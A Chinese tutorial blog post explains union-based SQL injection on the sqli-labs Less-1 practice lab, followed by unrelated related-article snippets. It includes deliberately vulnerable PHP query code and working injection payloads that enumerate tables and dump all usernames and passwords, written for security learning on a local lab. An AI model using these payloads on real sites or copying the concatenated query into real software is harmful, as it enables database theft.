SQLi Labs 是一个专为学习和测试 SQL 注入漏洞设计的实验平台,旨在帮助安全研究人员、开发者和网络安全爱好者深入理解并实践各种 SQL 注入攻击。该平台提供了一系列精心设计的实验环境,模拟真实的 SQL 注入场景,并配有相应的解决方案。

要搭建sqli-labs本地靶场,可参考sqli-labs搭建教程

白盒测试

要理解 SQL 注入的原理,首先需要掌握后端如何实现以下功能:通过前端接收用户输入参数,在数据库中进行查询,并将结果返回前端展示。以 SQLi Labs Less-1 为例,该实验接受用户输入的 id 参数,并依据该参数查询数据库中的相关信息,返回 login name 和 password。

理解此类后端代码并不需要深厚的 PHP 编程基础,只需掌握以下关键代码即可:

$id=$_GET['id'];   // 以GET方式从前端接收id参数,并赋值给变量id
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 构造查询语句,查找id匹配的行
$result=mysql_query($sql); // 执行查询语句,并将结果赋给$result

此时,假如我们令参数id为第一行的代码,则查询语句就会变成第二行的结果。我们在1后面添加的'和原本包裹变量$id的前面的'成对,从而使我们成功在后面加入了一个判断,由于1不等于2,那么查询就会报错。这样,我们就有可能通过闭合前面的'来执行一些其他的操作,请看接下来的注入过程吧。

id=1' and '1'='2
SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1

黑盒测试

1. 判断注入类型

?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 错误
?id=1' 错误
?id=1'--+ 回显
  • 为什么要判断注入类型:在刚才的白盒中,可以看到查询语句中$id是被'包裹的,除了单引号,双引号、括号等都有可能用于包裹$id,因此,必须尝试出正确的符号来闭合包裹的符号。
  • --+:是一个注释符,后面的代码将被忽略,避免后面可能存在的条件影响前面注入的结果。

2. 判断字段数

/?id=1' order by 1--+
/?id=1' order by 2--+
/?id=1' order by 3--+
  • order by 介绍:当我们传入一个参数时,可能会查到多行结果,order by的作用就是将所有的数据按照第x列的数据进行排序,当第x列不存在时就会报错,因而order by函数可以查出列数(即字段数)
  • 为什么要判断字段数:在接下来的联合查询形成的语句会是select * where id = 1 union select 1,2,3,联合查询两个select的列数必须一致,*代表所有列,因此要先知道总列数,才能正确设置联合查询的列数

3. 判断注入点

/?id=1' union select 1,2,3--+   '数据回显,但是没有回显注入点
/?id=0' union select 1,2,3--+ '回显注入点为2和3
  • 什么是联合查询:就是在执行完select * where id='1'后,再执行select 1,2,3,并将结果合并,其中select 1,2,3返回一行包含三个固定值的结果,每个值分别是 1, 2, 3
  • 为什么要判断注入点:假设有一个表,列名(即字段名)分别为id、name、gender...,但是该网站的设计是,输入id,告诉你name是什么。总结而言,虽然表中有许多列,但并不是所有列的数据都会被输出到前端,因此必须要先寻找会被输出的位置才能进行后续的注入。
  • 为什么第二行修改为id=0成功回显:在刚刚的白盒中,我并未介绍LIMIT 0,1的作用,其作用为在查询到的所有数据中,从第0行开始,输出1行。当id=1时,是能够正常查询到数据的,于是只有这一行被输出了。因此我们将id设置为0(或者负数),使得主查询查不到数据,后面联合查询的数据就能正常输出了。

4. 拆解数据库

/?id=0' union select 1,2,database()--+    '数据库security

/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+         '表名emails,referers,uagents,users

/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+  '字段id,username,password

/?id=0' union select 1,group_concat(username),group_concat(password) from security.users --+
  • database():当前数据库名,代替3的位置后,数据库名就会被输出。
  • group_concat:将得到的所有结果拼接起来并返回,如果不拼接,只会显示查到的第一行结果。
  • information_schema:是mysql自带的一个特殊的数据库,它记录了所有的表名、列名,通过它,我们就能从数据库名一层层的拆解出我们想要数据的列名、表名,并查询到想要的数据。

    以下为注入结果,输出了所有用户名与密码。

之后的Less-2,3,4题都是相同的原理,只是在闭合类型上有所区分,可以自行尝试注入。

写在最后

网安的学习需要多动手、多调试、多思考,简单的跟着教程走只能学到表面的知识,无法真正理解其中的原理。只有通过不断地实践,遇到问题时深入分析和解决,才能提升自己的技术能力。同时,保持好奇心,多去探索不同的安全工具和技术,积极参与社区讨论,分享和学习他人的经验,才能在这个快速发展的领域中不断进步。

基于sqli-labs Less-1的sql联合注入详解的更多相关文章

  1. Mybatis SQL映射文件详解

    Mybatis SQL映射文件详解 mybatis除了有全局配置文件,还有映射文件,在映射文件中可以编写以下的顶级元素标签: cache – 该命名空间的缓存配置. cache-ref – 引用其它命 ...

  2. mysql中SQL执行过程详解与用于预处理语句的SQL语法

    mysql中SQL执行过程详解 客户端发送一条查询给服务器: 服务器先检查查询缓存,如果命中了缓存,则立刻返回存储在缓存中的结果.否则进入下一阶段. 服务器段进行SQL解析.预处理,在优化器生成对应的 ...

  3. sql各种连接详解

      迁移时间:2017年6月1日16:33:58 CreateTime--2016年9月14日11:19:00Author:Marydon sql各种连接详解 参考链接: http://www.jb5 ...

  4. 为什么说JAVA中要慎重使用继承 C# 语言历史版本特性(C# 1.0到C# 8.0汇总) SQL Server事务 事务日志 SQL Server 锁详解 软件架构之 23种设计模式 Oracle与Sqlserver:Order by NULL值介绍 asp.net MVC漏油配置总结

    为什么说JAVA中要慎重使用继承   这篇文章的主题并非鼓励不使用继承,而是仅从使用继承带来的问题出发,讨论继承机制不太好的地方,从而在使用时慎重选择,避开可能遇到的坑. JAVA中使用到继承就会有两 ...

  5. MySQL SQL查询优化技巧详解

    MySQL SQL查询优化技巧详解 本文总结了30个mysql千万级大数据SQL查询优化技巧,特别适合大数据里的MYSQL使用. 1.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 ...

  6. MySQL 联合索引详解

    MySQL 联合索引详解   联合索引又叫复合索引.对于复合索引:Mysql从左到右的使用索引中的字段,一个查询可以只使用索引中的一部份,但只能是最左侧部分.例如索引是key index (a,b,c ...

  7. SQL DELETE 语句详解

    SQL DELETE 语句详解   DELETE 语句 DELETE 语句用于删除表中的行. 语法 DELETE FROM 表名称 WHERE 列名称 = 值 Person: LastName Fir ...

  8. SQL Update 语句详解

    SQL Update 语句详解   Update 语句 Update 语句用于修改表中的数据. 语法: UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值 Person: L ...

  9. SQL SERVER分区详解(1-5)

    转自: (五)SQL Server分区自动化案例     (四)SQL Server分区管理     (三)索引分区知识详解     (二)SQL Server分区创建过程     (一)SQL Se ...

  10. 【SQL Server】SQL触发器经验详解

    [SQL Server]SQL触发器经验详解 | 浏览: 4314 | 更新: 2013-01-07 15:33 25 11 全文阅读分步阅读   加入杂志 步骤 1 2 3 4 5 6 7 8   ...

随机推荐

  1. 第 358 场周赛 - 力扣(LeetCode)

    第 358 场周赛 - 力扣(LeetCode) 2815. 数组中的最大数对和 - 力扣(LeetCode) 双for遍历即可 class Solution { public: int maxSum ...

  2. JAVA——instanceof运算符(问题待处理)

    2024/07/12 1.问题 2.问题拆解 3.解决 1.问题 今天学了一个运算符--instanceof,概念很抽象,感觉暂时理解不了,什么实例对象.类.子类,看得迷迷糊糊的,先记录下来,有空做一 ...

  3. 阿里云图床(PicGo+阿里云OSS)搭建

    阿里云图床搭建方法: 1.登录阿里云,搜索对象存储oss,新用户免费使用3个月20G,到期后,一年也就9元左右,还是很划算的. 2.在左侧列表里,点击Bucket列表,创建Bucket 3.Bucke ...

  4. AWS Data Analytics Fundamentals 官方课程笔记 - Variety, Veracity, Value

    Variety structured data applications include Amazon RDS, Amazon Aurora, MySQL, MariaDB, PostgreSQL, ...

  5. Failed to convert value of type 'java.lang.String' to required type

    DEBUG 微信小程序Java后台 Failed to convert value of type 'java.lang.String' to required type 产生这种条件的原因一般是使用 ...

  6. C++:使自定义类支持迭代器

    概述 在 C++ 中,链表迭代器是一种用来遍历链表(如 std::list)元素的工具.链表是一种数据结构,其中每个元素(节点)包含一个数据值和一个指向下一个节点的指针.链表迭代器允许以类似于数组的方 ...

  7. Identity – Permission Claims & UserClaimsPrincipalFactory

    前言 在 Identity – Authorize 有介绍过, Identity 的验证核心是 Claims. 在 Identity – Without Identity Framework 也看到了 ...

  8. 推荐3款卓越的 .NET 开源搜索组件库

    前言 最近有不少同学提问:.NET有哪些开源的搜索组件库可以推荐的吗?,今天大姚给大家推荐3款卓越的 .NET 开源搜索组件库,希望可以帮助到有需要的同学. Elasticsearch .NET El ...

  9. Canvas简历编辑器-Monorepo+Rspack工程实践

    Canvas简历编辑器-Monorepo+Rspack工程实践 在之前我们围绕Canvas聊了很多代码设计层面的东西,在这里我们聊一下工程实践.在之前的文中我也提到过,因为是本着学习的态度以及对技术的 ...

  10. Servlet——Response对象

    Response对象         Response 设置响应数据   1.响应行          void setStatus(int sc):设置响应状态码   2.响应头           ...